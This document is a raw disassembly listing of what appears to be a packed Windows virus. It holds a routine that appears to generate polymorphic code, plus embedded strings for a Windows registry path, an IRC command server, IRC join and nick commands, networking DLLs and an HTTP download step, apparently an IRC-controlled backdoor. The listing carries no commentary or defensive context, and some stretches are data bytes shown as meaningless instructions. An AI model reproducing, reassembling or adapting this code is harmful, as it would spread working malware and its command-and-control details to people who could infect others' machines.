loc_3150B90F: ; CODE XREF: sub_3150B5AF+309j bound edi, [ecx+6Eh] popa insd loc_3150B914: ; CODE XREF: sub_3150B5AF+2EDj add gs:[edx+65h], dh loc_3150B918: ; CODE XREF: sub_3150B5AF+2FEj ; sub_3150B5AF+2FBj arpl [esi+0], si jnb short near ptr loc_3150B981+1 outsb loc_3150B91E: ; CODE XREF: sub_3150B5AF:loc_3150B8A4j add fs:[ebx+6Fh], dh loc_3150B922: ; CODE XREF: sub_3150B5AF+30Dj arpl [ebx+65h], bp loc_3150B925: ; CODE XREF: sub_3150B5AF+30Bj jz short $+2 dec ecx outsb jz short loc_3150B990 jb short loc_3150B99B db 65h jz short loc_3150B973 insb outsd jnb short near ptr loc_3150B998+1 dec eax popa outsb db 64h insb add gs:[ecx+6Eh], cl jz short loc_3150B9A4 jb short near ptr loc_3150B9AE+1 loc_3150B941: ; CODE XREF: sub_3150B5AF+329j db 65h jz short loc_3150B98B loc_3150B944: ; CODE XREF: sub_3150B5AF:loc_3150B8C9j db 65h jz short loc_3150B98A outsd outsb outsb loc_3150B94A: ; CODE XREF: sub_3150B5AF+331j arpl gs:[ebp+64h], si push ebx loc_3150B950: ; CODE XREF: sub_3150B5AF+33Ej jz short near ptr loc_3150B9B2+1 jz short loc_3150B9B9 add [ecx+6Eh], cl loc_3150B957: ; CODE XREF: sub_3150B5AF:loc_3150B8E3j jz short near ptr loc_3150B9BC+2 jb short loc_3150B9C9 db 65h jz short near ptr loc_3150B9AB+2 loc_3150B95E: ; CODE XREF: sub_3150B5AF:loc_3150B8F7j jo short loc_3150B9C5 outsb inc ecx loc_3150B962: ; CODE XREF: sub_3150B5AF+342j add [ecx+6Eh], cl loc_3150B965: ; CODE XREF: sub_3150B5AF+340j jz short near ptr loc_3150B9CB+1 jb short loc_3150B9D7 loc_3150B969: ; CODE XREF: sub_3150B5AF+34Aj db 65h jz short near ptr loc_3150B9BA+1 jo short loc_3150B9D3 outsb push ebp jb short near ptr loc_3150B9DC+2 inc ecx loc_3150B973: ; CODE XREF: sub_3150B5AF+37Ej ; sub_3150B5AF:loc_3150B909j add [ecx+6Eh], cl jz short near ptr loc_3150B9DC+1 jb short loc_3150B9E8 db 65h jz short near ptr loc_3150B9CE+1 db 65h popa db 64h inc esi loc_3150B981: ; CODE XREF: sub_3150B5AF+36Cj ; sub_3150B5AF+35Ej imul ebp, [ebp+0], 41564441h push eax loc_3150B98A: ; CODE XREF: sub_3150B5AF:loc_3150B944j dec ecx loc_3150B98B: ; CODE XREF: sub_3150B5AF:loc_3150B941j xor esi, [edx] db 2Eh inc esp dec esp loc_3150B990: ; CODE XREF: sub_3150B5AF+37Aj dec esp add [edx+65h], dl db 67h inc ebx insb outsd loc_3150B998: ; CODE XREF: sub_3150B5AF+383j jnb short near ptr loc_3150B9FD+2 dec ebx loc_3150B99B: ; CODE XREF: sub_3150B5AF+37Cj db 65h jns short $+3 push edx db 65h, 67h dec edi jo short loc_3150BA09 loc_3150B9A4: ; CODE XREF: sub_3150B5AF+38Ej outsb dec ebx db 65h jns short near ptr loc_3150B9EC+2 js short loc_3150B9EC loc_3150B9AB: ; CODE XREF: sub_3150B5AF+3ACj add [edx+65h], dl loc_3150B9AE: ; CODE XREF: sub_3150B5AF+390j db 67h push ecx jnz short loc_3150BA17 loc_3150B9B2: ; CODE XREF: sub_3150B5AF:loc_3150B950j jb short near ptr loc_3150BA2C+1 push esi popa insb jnz short near ptr loc_3150BA1D+1 loc_3150B9B9: ; CODE XREF: sub_3150B5AF+3A3j inc ebp loc_3150B9BA: ; CODE XREF: sub_3150B5AF:loc_3150B969j js short loc_3150B9FD loc_3150B9BC: ; CODE XREF: sub_3150B5AF:loc_3150B957j add [edx+65h], dl db 67h push ebx db 65h jz short loc_3150BA1A popa loc_3150B9C5: ; CODE XREF: sub_3150B5AF:loc_3150B95Ej insb jnz short near ptr loc_3150BA2C+1 inc ebp loc_3150B9C9: ; CODE XREF: sub_3150B5AF+3AAj js short loc_3150BA0C loc_3150B9CB: ; CODE XREF: sub_3150B5AF:loc_3150B965j add [esi+33h], dl loc_3150B9CE: ; CODE XREF: sub_3150B5AF+3CBj imul byte ptr [edx+2] push esi push esi loc_3150B9D3: ; CODE XREF: sub_3150B5AF+3BDj mov edx, esp push 1 loc_3150B9D7: ; CODE XREF: sub_3150B5AF+3B8j push edx push dword ptr [edx+18h] push esi loc_3150B9DC: ; CODE XREF: sub_3150B5AF+3C7j ; sub_3150B5AF+3C1j call dword ptr [ebp+10428Ch] mov eax, esp push esi push esi push esi push eax loc_3150B9E8: ; CODE XREF: sub_3150B5AF+3C9j push esi push dword ptr [eax+18h] loc_3150B9EC: ; CODE XREF: sub_3150B5AF+3FAj ; sub_3150B5AF+3F7j call dword ptr [ebp+103EFAh] add esp, 10h pop esi retn 8 ; END OF FUNCTION CHUNK FOR sub_3150B5AF ; --------------------------------------------------------------------------- db 8Dh ; db 49h ; I db 0FBh ; db 2Bh ; + ; --------------------------------------------------------------------------- loc_3150B9FD: ; CODE XREF: sub_3150B5AF:loc_3150B9BAj ; sub_3150B5AF:loc_3150B998j enter 6851h, 0 ; --------------------------------------------------------------------------- db 0 db 0 db 0E8h ; db 8Dh ; db 4Ch ; L db 24h ; $ db 3 db 6Ah ; j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3150B5AF loc_3150BA09: ; CODE XREF: sub_3150B5AF+3F3j add [edx+5], ch loc_3150BA0C: ; CODE XREF: sub_3150B5AF:loc_3150B9C9j push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax loc_3150BA17: ; CODE XREF: sub_3150B5AF+401j push esp push 40h loc_3150BA1A: ; CODE XREF: sub_3150B5AF+412j push ecx push edx push ebx loc_3150BA1D: ; CODE XREF: sub_3150B5AF+408j call dword ptr [ebp+103F22h] add esp, 0Ch call dword ptr [ebp+103F2Ah] loc_3150BA2C: ; CODE XREF: sub_3150B5AF:loc_3150B9B2j ; sub_3150B5AF+417j add esp, 8 retn ; END OF FUNCTION CHUNK FOR sub_3150B5AF ; --------------------------------------------------------------------------- db 8Dh ; db 95h ; db 30h ; 0 db 3Eh ; > db 10h db 0 db 33h ; 3 db 0C9h ; db 6Ah ; j db 0 db 52h ; R db 68h ; h db 30h ; 0 db 0 db 32h ; 2 db 0 db 8Bh ; db 0C4h ; db 51h ; Q db 51h ; Q db 6Ah ; j db 40h ; @ db 50h ; P db 51h ; Q db 6Ah ; j db 18h db 83h ; db 0C0h ; db 8 db 54h ; T db 6Ah ; j db 0Eh db 50h ; P db 0FFh db 95h ; db 1Eh db 3Fh ; ? db 10h db 0 db 83h ; db 0C4h ; db 20h db 33h ; 3 db 0D2h ; db 85h ; db 0C0h ; db 0Fh db 99h ; db 0C2h ; db 0F7h ; db 0DAh ; db 58h ; X db 23h ; # db 0C2h ; db 0C3h ; db 57h ; W db 33h ; 3 db 0FFh db 0E8h ; db 0C1h ; db 0FFh db 0FFh db 0FFh db 0Fh db 84h ; db 0A5h ; db 0 db 0 db 0 db 50h ; P db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 8Bh ; db 0D4h ; db 6Ah ; j db 0 db 8Bh ; db 0CCh ; db 6Ah ; j db 40h ; @ db 68h ; h db 0 db 0 db 10h db 0 db 6Ah ; j db 2 db 52h ; R db 6Ah ; j db 0 db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 6Ah ; j db 0 db 51h ; Q db 53h ; S db 50h ; P db 0FFh db 95h ; db 12h db 3Fh ; ? db 10h db 0 db 5Fh ; _ db 59h ; Y db 0FFh db 95h ; db 62h ; b db 3Eh ; > db 10h db 0 db 85h ; db 0FFh db 74h ; t db 71h ; q db 8Bh ; db 8Dh ; db 90h ; db 15h db 10h db 0 db 0E3h ; db 0Ch db 8Dh ; db 95h ; db 0 db 10h db 10h db 0 db 3 db 0D1h ; db 57h ; W db 53h ; S db 0FFh db 0D2h ; db 8Bh ; db 85h ; db 0FEh ; db 3Eh ; > db 10h db 0 db 8Dh ; db 8Fh ; db 16h db 29h ; ) db 0 db 0 db 0E8h ; db 2Bh ; + db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 16h db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 63h ; c db 29h ; ) db 0 db 0 db 0E8h ; db 1Ah db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 2 db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 6Ah ; j db 29h ; ) db 0 db 0 db 0E8h ; db 9 db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 6 db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 20h db 8Dh ; db 8Fh ; db 77h ; w db 29h ; ) db 0 db 0 db 0E8h ; db 0F4h ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 85h ; db 0Eh db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 0Bh db 8Dh ; db 8Fh ; db 84h ; db 29h ; ) db 0 db 0 db 0E8h ; db 0DFh ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 0C7h ; db 5Fh ; _ db 0C3h ; db 55h ; U db 0E8h ; db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 101B24h xor ecx, ecx lea eax, [ebp+101EAFh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+103E8Eh] xchg eax, [esp] call dword ptr [ebp+103E62h] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh, 52500010h dd 2420CDh, 0C483002Ah, 85C7660Ch, 101B64h, 85C720CDh dd 101B66h, 2A0024h, 1A6AC35Dh, 9E858h, 428D0000h, 0C9FEAA61h dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch dd 55C3E2F7h, 0E8h, 0ED815D00h, 101BADh, 3F809D8Bh, 7C830010h dd 0F000824h, 0B984h, 8EC8100h, 54000002h, 10468h, 0B695FF00h dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h dd 3E8695FFh, 0C4810010h, 208h, 82474FFh, 3F4E95FFh, 0FF530010h dd 103F4E95h, 4C25D00h, 0A3E8000h, 8B460175h, 10158C8Dh dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh, 11F880Fh dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h dd 6A51CEh, 0FF535651h, 103F4695h, 0C13B5900h, 0DF850Fh dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh dd 68752F2Fh, 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh, 8D3C5003h dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h, 968D8B00h dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h dd 2007473h, 500000h, 70000000h, 69786F72h, 72692E6Dh dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 6C766864h dd 61767566h, 4553550Ah, 4A6B2052h, 204E494Fh, 72697626h dd 550A7574h, 0E8h, 0ED815D00h, 101EB5h, 157F85C6h, 0FF000010h dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh, 2768B00h dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch dd 8E84475h, 53000000h, 442E4346h, 0FF004C4Ch, 103EC695h dd 74C00B00h, 26A930Dh, 6E95FF53h, 0FF00103Eh, 97E893D0h dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh, 8DC93300h dd 10432485h, 51515100h, 51515051h, 0C295FF51h, 0E800103Eh dd 0Bh, 52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh, 66A5200h dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h dd 103F6295h, 8385C600h, 1041h, 0CE8h, 4F535700h, 32334B43h dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h, 0Ch, 494E4957h dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h dd 0BD83FFFFh, 103F52h, 10840F00h, 81000002h, 190ECh, 1685400h dd 0FF000001h, 103F3295h, 90C48100h, 50000001h, 6AD48Bh dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h dd 4A12014Ah, 34A1202h, 824440Bh, 0C10FE180h, 0B5108E0h dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h, 5, 0A642526h dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h, 84B58D54h dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h dd 103F4295h, 0F88300h, 8B912F7Eh, 84B58DFEh, 0B000103Fh dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h dd 10418385h, 8E90000h, 0C7FFFFFEh, 10158885h, 0 dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h dd 656D6974h, 74492021h, 6C207327h, 21657461h, 4CA2A1A8h dd 10A61429h, 40375232h, 40375248h, 8F908788h, 27B1FAE5h dd 0C26CCC5Ch, 86E15194h, 658000B9h, 0D8B8B352h, 15h dup(0) dd 0C768988Fh, 0F4A58360h, 1042h, 42F8A583h, 0F000010h ; CODE XREF: UPX2:3150CF2Ap ; UPX2:3150CF51p ... dd 8D1443B7h, 0B70F1853h, 0D003064Bh, 2424448Bh, 720C422Bh dd 8423B19h, 428B1473h, 0C422B14h, 42F49589h, 85890010h dd 1042F8h, 0C28305EBh, 61D9E228h, 880004C2h, 10246785h dd 64E800h, 1F680000h, 8D000000h, 10239485h, 18395900h dd 0C0830C74h, 0FFF7E204h, 1042D085h, 0D9F7C300h, 24678D03h dd 10E30010h, 8FFC70FFh, 4E88300h, 9D89F6E2h, 102394h dd 74003A83h, 3322B05h, 4E8D1072h, 5E5B58FCh, 74003A83h dd 0EB32FF04h, 1072FF03h, 0FFFF57E8h, 2BCE2BFFh, 1042F88Dh dd 4B035800h, 858FC334h, 1042D4h, 42D085C7h, 10h, 3CE80000h dd 8B000000h, 1042D085h, 0F6A9E800h, 18E8FFFFh, 83000000h dd 1042D0BDh, 8750000h, 24109D89h, 9CEB0010h, 42D08DFFh dd 8FC30010h, 1042D485h, 0D0958900h, 0E8001042h, 3, 8BC3C933h dd 8093h, 0EDE85200h, 3FFFFFEh, 1042F895h, 83D60300h, 0F000C7Ah dd 10784h, 107A8300h, 0FD840F00h, 8B000000h, 0E8500C42h dd 0FFFFFEC8h, 42F88503h, 0C6030010h, 80088A50h, 197400F9h dd 742EF980h, 0F1EB4003h, 8101488Bh, 0DFDFDFE1h, 44F981DFh dd 75004C4Ch, 0C82B59ECh, 0FFAF983h, 0B78Fh, 78816600h dd 0F3233FEh, 0AB85h, 3A835600h, 8B057500h, 2EB104Ah, 0F1030A8Bh dd 0FE72E851h, 0B503FFFFh, 1042F8h, 78C085ADh, 84840FFBh dd 0FF000000h, 1042F8B5h, 55E85000h, 3FFFFFEh, 1042F885h dd 0F8858F00h, 3001042h, 83532404h, 0DB3302C0h, 0E308B60Fh dd 20C98012h, 2424C153h, 241C2904h, 5B240C29h, 81E9EB40h dd 0BBD70FFBh, 813E74DDh, 6E45A8FBh, 813674DBh, 0A13B59FBh dd 812E74FFh, 0B522D6FBh, 812674ACh, 58E993FBh, 811E74F3h dd 58E97DFBh, 811674F3h, 253F46FBh, 810E74E1h, 253F30FBh dd 0FF0674E1h, 1042D495h, 71E95B00h, 5EFFFFFFh, 0E914C283h dd 0FFFFFEEFh, 46A03C3h, 0F549E858h, 9588FFFFh, 102641h dd 1831B866h, 0E4C0E202h, 66E20203h, 58066AABh, 0FFF52EE8h dd 8C283FFh, 56AD187h, 0F521E858h, 0FA80FFFFh, 0B00B7303h dd 41850250h, 0AA001026h, 686A27EBh, 0FA80AA58h, 0B0187503h dd 0F501E811h, 1B8FFFFh, 84000000h, 0D10D74D2h, 0EBCAFEE0h dd 0B805EBF6h, 80000000h, 0C3BFE2ABh, 39CC958Dh, 0D72B0010h dd 0F7C3DAF7h, 1039C085h, 0 ; --------------------------------------------------------------------------- adc [edi], cl xchg eax, ebp rol cl, 0E0h or esi, esi test [esi+1001039h], edi jnz short loc_3150C6D6 or ax, 2589h jmp short loc_3150C6E9 ; --------------------------------------------------------------------------- loc_3150C6D6: ; CODE XREF: UPX2:3150C6CEj test byte ptr [ebp+1039BEh], 2 jnz short loc_3150C6E5 or ax, 2531h jmp short loc_3150C6E9 ; --------------------------------------------------------------------------- loc_3150C6E5: ; CODE XREF: UPX2:3150C6DDj or ax, 2501h loc_3150C6E9: ; CODE XREF: UPX2:3150C6D4j ; UPX2:3150C6E3j stosw call near ptr dword_3150C410+29Ch mov eax, [ebx+34h] mov [ebp+1042E8h], edx stosd retn ; =============== S U B R O U T I N E ======================================= sub_3150C6FB proc near ; CODE XREF: UPX2:3150CD47p test dword ptr [ebp+1039C0h], 10000000h setnz al add al, 0BCh stosb call near ptr dword_3150C410+29Ch mov [ebp+1042ECh], edx test byte ptr [ebp+1039BEh], 1 jnz short loc_3150C723 rdtsc jmp short loc_3150C725 ; --------------------------------------------------------------------------- loc_3150C723: ; CODE XREF: sub_3150C6FB+22j sub eax, eax loc_3150C725: ; CODE XREF: sub_3150C6FB+26j stosd retn sub_3150C6FB endp ; =============== S U B R O U T I N E ======================================= sub_3150C727 proc near ; CODE XREF: UPX2:loc_3150CD51p test dword ptr [ebp+1039C0h], 10000000h jz short loc_3150C75A mov al, [ebp+1039BAh] shl eax, 0Bh or ax, 458Bh stosw mov al, 0F8h stosb mov al, [ebp+1039BAh] shl eax, 1Bh add eax, 6896467h stosd xor eax, eax stosw jmp short locret_3150C76C ; --------------------------------------------------------------------------- loc_3150C75A: ; CODE XREF: sub_3150C727+Aj mov eax, 58F64h stosd mov al, [ebp+1039BAh] add al, 58h shl eax, 18h stosd locret_3150C76C: ; CODE XREF: sub_3150C727+31j retn sub_3150C727 endp ; =============== S U B R O U T I N E ======================================= sub_3150C76D proc near ; CODE XREF: sub_3150C7DF:loc_3150C806p ; sub_3150C7DF+4Cp ... mov byte ptr [ebp+10279Ch], 9 jmp short loc_3150C79B ; --------------------------------------------------------------------------- loc_3150C776: ; CODE XREF: sub_3150C76D+44j mov al, 0FCh jmp short loc_3150C79A ; --------------------------------------------------------------------------- loc_3150C77A: ; CODE XREF: sub_3150C76D+48j mov ax, 0EBh stosw jmp short loc_3150C79B ; --------------------------------------------------------------------------- loc_3150C782: ; CODE XREF: sub_3150C76D+4Cj push 4 pop eax call near ptr dword_3150BB50+43h lea eax, [edx+edx*8] shl eax, 8 add ax, 0C089h stosw jmp short loc_3150C79B ; --------------------------------------------------------------------------- loc_3150C798: ; CODE XREF: sub_3150C76D+50j mov al, 90h loc_3150C79A: ; CODE XREF: sub_3150C76D+Bj ; sub_3150C76D+60j ... stosb loc_3150C79B: ; CODE XREF: sub_3150C76D+7j ; sub_3150C76D+13j ... push 1Bh pop eax call near ptr dword_3150BB50+43h add byte ptr [ebp+10279Ch], 6 cmp dl, 8 jnb short locret_3150C7DE test dl, dl jz short loc_3150C776 dec dl jz short loc_3150C77A dec dl jz short loc_3150C782 dec dl jz short loc_3150C798 dec dl jz short loc_3150C7CF dec dl jz short loc_3150C7D6 dec dl jz short loc_3150C7DA mov al, 0F9h jmp short loc_3150C79A ; --------------------------------------------------------------------------- loc_3150C7CF: ; CODE XREF: sub_3150C76D+54j mov al, 87h stosb mov al, 0DBh jmp short loc_3150C79A ; --------------------------------------------------------------------------- loc_3150C7D6: ; CODE XREF: sub_3150C76D+58j mov al, 0F5h jmp short loc_3150C79A ; --------------------------------------------------------------------------- loc_3150C7DA: ; CODE XREF: sub_3150C76D+5Cj mov al, 0F8h jmp short loc_3150C79A ; --------------------------------------------------------------------------- locret_3150C7DE: ; CODE XREF: sub_3150C76D+40j retn sub_3150C76D endp ; =============== S U B R O U T I N E ======================================= sub_3150C7DF proc near ; CODE XREF: UPX2:loc_3150CC28p ; UPX2:3150CDDBp test dword ptr [ebp+1039C0h], 2000h mov al, 86h jnz short loc_3150C7EF add al, 4 loc_3150C7EF: ; CODE XREF: sub_3150C7DF+Cj lea ecx, [edi-2] mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short loc_3150C806 mov al, 0 or byte ptr [edi-1], 40h stosb loc_3150C806: ; CODE XREF: sub_3150C7DF+1Ej call sub_3150C76D test dword ptr [ebp+1039C0h], 4000h mov ax, 3166h jnz short loc_3150C81D mov ah, 29h loc_3150C81D: ; CODE XREF: sub_3150C7DF+3Aj stosw mov al, 18h or al, [ebp+1039BAh] shl al, 3 stosb call sub_3150C76D mov al, 88h test dword ptr [ebp+1039C0h], 8000h jnz short loc_3150C840 mov al, 86h loc_3150C840: ; CODE XREF: sub_3150C7DF+5Dj mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short locret_3150C854 mov al, 0 or byte ptr [edi-1], 40h stosb locret_3150C854: ; CODE XREF: sub_3150C7DF+6Cj retn sub_3150C7DF endp ; --------------------------------------------------------------------------- loc_3150C855: ; CODE XREF: sub_3150D45B+183p lea edi, [ebp+1039CCh] call sub_3150C76D test dword ptr [ebp+1039C0h], 400000h jz short near ptr unk_3150C86F mov al, 60h stosb ; --------------------------------------------------------------------------- unk_3150C86F db 0F7h ; ; CODE XREF: UPX2:3150C86Aj db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- adc [edi+eax-48h], dh push ebp mov ebp, esp add [ebx-3F7A08B1h], ch cmp [eax], edx add [ebx], al ; --------------------------------------------------------------------------- db 2 dup(0), 2 dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h dd 1039C085h, 300h, 0F6137400h, 1039BE85h, 0A748000h, 0FFFDAAE8h dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh, 0FD4BE8ABh dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh dd 1039BAh, 4C0048Dh, 8E0C140h, 0AB668DB0h, 57AA01B0h dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0 dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh, 1039B8h dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h, 42C8BD89h dd 0F7AB0010h, 1039C085h, 0 ; --------------------------------------------------------------------------- inc eax jnz short loc_3150CB00 mov al, 50h add al, [ebp+1039B8h] stosb loc_3150CB00: ; CODE XREF: UPX2:3150CAF5j test dword ptr [ebp+1039C0h], 80h jnz short loc_3150CB17 mov al, 0B8h or al, [ebp+1039B9h] stosb jmp short loc_3150CB54 ; --------------------------------------------------------------------------- loc_3150CB17: ; CODE XREF: UPX2:3150CB0Aj mov ax, 